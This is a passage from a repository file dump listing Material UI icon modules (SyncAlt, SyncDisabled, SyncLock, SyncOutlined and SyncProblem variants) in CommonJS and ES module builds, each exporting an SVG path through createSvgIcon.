    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 12 4-4-4-4v3H3v2h15zM6 12l-4 4 4 4v-3h15v-2H6z\"\n}), 'SyncAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 12 4-4-4-4v3H3v2h15zM6 12l-4 4 4 4v-3h15v-2H6z\"\n}), 'SyncAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6.35V4.26c-.8.21-1.55.54-2.23.96l1.46 1.46c.25-.12.5-.24.77-.33m-7.14-.94 2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.25-.77.34v2.09c.8-.21 1.55-.54 2.23-.96l2.36 2.36 1.27-1.27L4.14 4.14zM20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 1-.25 1.94-.68 2.77l1.46 1.46C19.55 15.01 20 13.56 20 12c0-2.21-.91-4.2-2.36-5.64z\"\n}), 'SyncDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6.35V4.26c-.8.21-1.55.54-2.23.96l1.46 1.46c.25-.12.5-.24.77-.33m-7.14-.94 2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.25-.77.34v2.09c.8-.21 1.55-.54 2.23-.96l2.36 2.36 1.27-1.27L4.14 4.14zM20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 1-.25 1.94-.68 2.77l1.46 1.46C19.55 15.01 20 13.56 20 12c0-2.21-.91-4.2-2.36-5.64z\"\n}), 'SyncDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6.35V4.26c-.66.17-1.29.43-1.88.75l1.5 1.5c.13-.05.25-.11.38-.16M20 12c0-2.21-.91-4.2-2.36-5.64L20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 .85-.19 1.65-.51 2.38l1.5 1.5C19.63 14.74 20 13.41 20 12M4.27 4 2.86 5.41l2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.24-.76.34v2.09c.8-.21 1.55-.54 2.23-.96l2.58 2.58 1.41-1.41z\"\n}), 'SyncDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6.35V4.26c-.66.17-1.29.43-1.88.75l1.5 1.5c.13-.05.25-.11.38-.16M20 12c0-2.21-.91-4.2-2.36-5.64L20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 .85-.19 1.65-.51 2.38l1.5 1.5C19.63 14.74 20 13.41 20 12M4.27 4 2.86 5.41l2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.24-.76.34v2.09c.8-.21 1.55-.54 2.23-.96l2.58 2.58 1.41-1.41z\"\n}), 'SyncDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5.74v-.19c0-.68-.71-1.11-1.32-.82-.19.09-.36.2-.54.3L9.6 6.49c.24-.18.4-.45.4-.75M20 12c0-2.21-.91-4.2-2.36-5.64l1.51-1.51c.31-.31.09-.85-.36-.85H14v4.79c0 .45.54.67.85.35l1.39-1.39C17.32 8.85 18 10.34 18 12c0 .85-.18 1.66-.5 2.39l1.48 1.48C19.62 14.72 20 13.41 20 12M3.57 4.7c-.39.39-.39 1.02 0 1.41l1.65 1.65C4.45 9 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64l-1.51 1.51c-.31.31-.09.85.36.85H9.5c.28 0 .5-.22.5-.5v-4.29c0-.45-.54-.67-.85-.35l-1.39 1.39C6.68 15.15 6 13.66 6 12c0-1 .26-1.93.69-2.76l8.07 8.07c-.01.02-.01.02-.01.04-.43.12-.75.48-.75.91v.18c0 .68.71 1.11 1.32.82.31-.14.61-.31.9-.49l1.87 1.87c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.98 4.7a.996.996 0 0 0-1.41 0\"\n}), 'SyncDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5.74v-.19c0-.68-.71-1.11-1.32-.82-.19.09-.36.2-.54.3L9.6 6.49c.24-.18.4-.45.4-.75M20 12c0-2.21-.91-4.2-2.36-5.64l1.51-1.51c.31-.31.09-.85-.36-.85H14v4.79c0 .45.54.67.85.35l1.39-1.39C17.32 8.85 18 10.34 18 12c0 .85-.18 1.66-.5 2.39l1.48 1.48C19.62 14.72 20 13.41 20 12M3.57 4.7c-.39.39-.39 1.02 0 1.41l1.65 1.65C4.45 9 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64l-1.51 1.51c-.31.31-.09.85.36.85H9.5c.28 0 .5-.22.5-.5v-4.29c0-.45-.54-.67-.85-.35l-1.39 1.39C6.68 15.15 6 13.66 6 12c0-1 .26-1.93.69-2.76l8.07 8.07c-.01.02-.01.02-.01.04-.43.12-.75.48-.75.91v.18c0 .68.71 1.11 1.32.82.31-.14.61-.31.9-.49l1.87 1.87c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.98 4.7a.996.996 0 0 0-1.41 0\"\n}), 'SyncDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6.35V4.26c-.66.17-1.29.43-1.88.75l1.5 1.5c.13-.05.25-.11.38-.16M20 12c0-2.21-.91-4.2-2.36-5.64L20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 .85-.19 1.65-.51 2.38l1.5 1.5C19.63 14.74 20 13.41 20 12M4.27 4 2.86 5.41l2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.24-.76.34v2.09c.8-.21 1.55-.54 2.23-.96l2.58 2.58 1.41-1.41z\"\n}), 'SyncDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6.35V4.26c-.66.17-1.29.43-1.88.75l1.5 1.5c.13-.05.25-.11.38-.16M20 12c0-2.21-.91-4.2-2.36-5.64L20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 .85-.19 1.65-.51 2.38l1.5 1.5C19.63 14.74 20 13.41 20 12M4.27 4 2.86 5.41l2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.24-.76.34v2.09c.8-.21 1.55-.54 2.23-.96l2.58 2.58 1.41-1.41z\"\n}), 'SyncDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6.35V4.26c-.66.17-1.29.43-1.88.75l1.5 1.5c.13-.05.25-.11.38-.16M20 12c0-2.21-.91-4.2-2.36-5.64L20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 .85-.19 1.65-.51 2.38l1.5 1.5C19.63 14.74 20 13.41 20 12M4.27 4 2.86 5.41l2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.24-.76.34v2.09c.8-.21 1.55-.54 2.23-.96l2.58 2.58 1.41-1.41z\"\n}), 'SyncDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6.35V4.26c-.66.17-1.29.43-1.88.75l1.5 1.5c.13-.05.25-.11.38-.16M20 12c0-2.21-.91-4.2-2.36-5.64L20 4h-6v6l2.24-2.24C17.32 8.85 18 10.34 18 12c0 .85-.19 1.65-.51 2.38l1.5 1.5C19.63 14.74 20 13.41 20 12M4.27 4 2.86 5.41l2.36 2.36C4.45 8.99 4 10.44 4 12c0 2.21.91 4.2 2.36 5.64L4 20h6v-6l-2.24 2.24C6.68 15.15 6 13.66 6 12c0-1 .25-1.94.68-2.77l8.08 8.08c-.25.13-.5.24-.76.34v2.09c.8-.21 1.55-.54 2.23-.96l2.58 2.58 1.41-1.41z\"\n}), 'SyncDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLock');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 19c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h1.73C5.06 16.54 4 14.4 4 12c0-3.19 1.87-5.93 4.56-7.22.67-.31 1.44.18 1.44.92 0 .38-.22.72-.57.88C7.41 7.55 6 9.61 6 12c0 1.77.78 3.34 2 4.44V15c0-.55.45-1 1-1s1 .45 1 1zm5-15c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H19c.55 0 1-.45 1-1s-.45-1-1-1zm5 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 19c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h1.73C5.06 16.54 4 14.4 4 12c0-3.19 1.87-5.93 4.56-7.22.67-.31 1.44.18 1.44.92 0 .38-.22.72-.57.88C7.41 7.55 6 9.61 6 12c0 1.77.78 3.34 2 4.44V15c0-.55.45-1 1-1s1 .45 1 1zm5-15c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H19c.55 0 1-.45 1-1s-.45-1-1-1zm5 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncLockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 4h-6v6h2V7.56c1.22 1.1 2 2.67 2 4.44h2c0-2.4-1.06-4.54-2.73-6H20zm0 13v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SyncLockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'SyncOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'SyncOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblem.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblem');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblem.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblem');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblemOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblemOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemRounded.js",
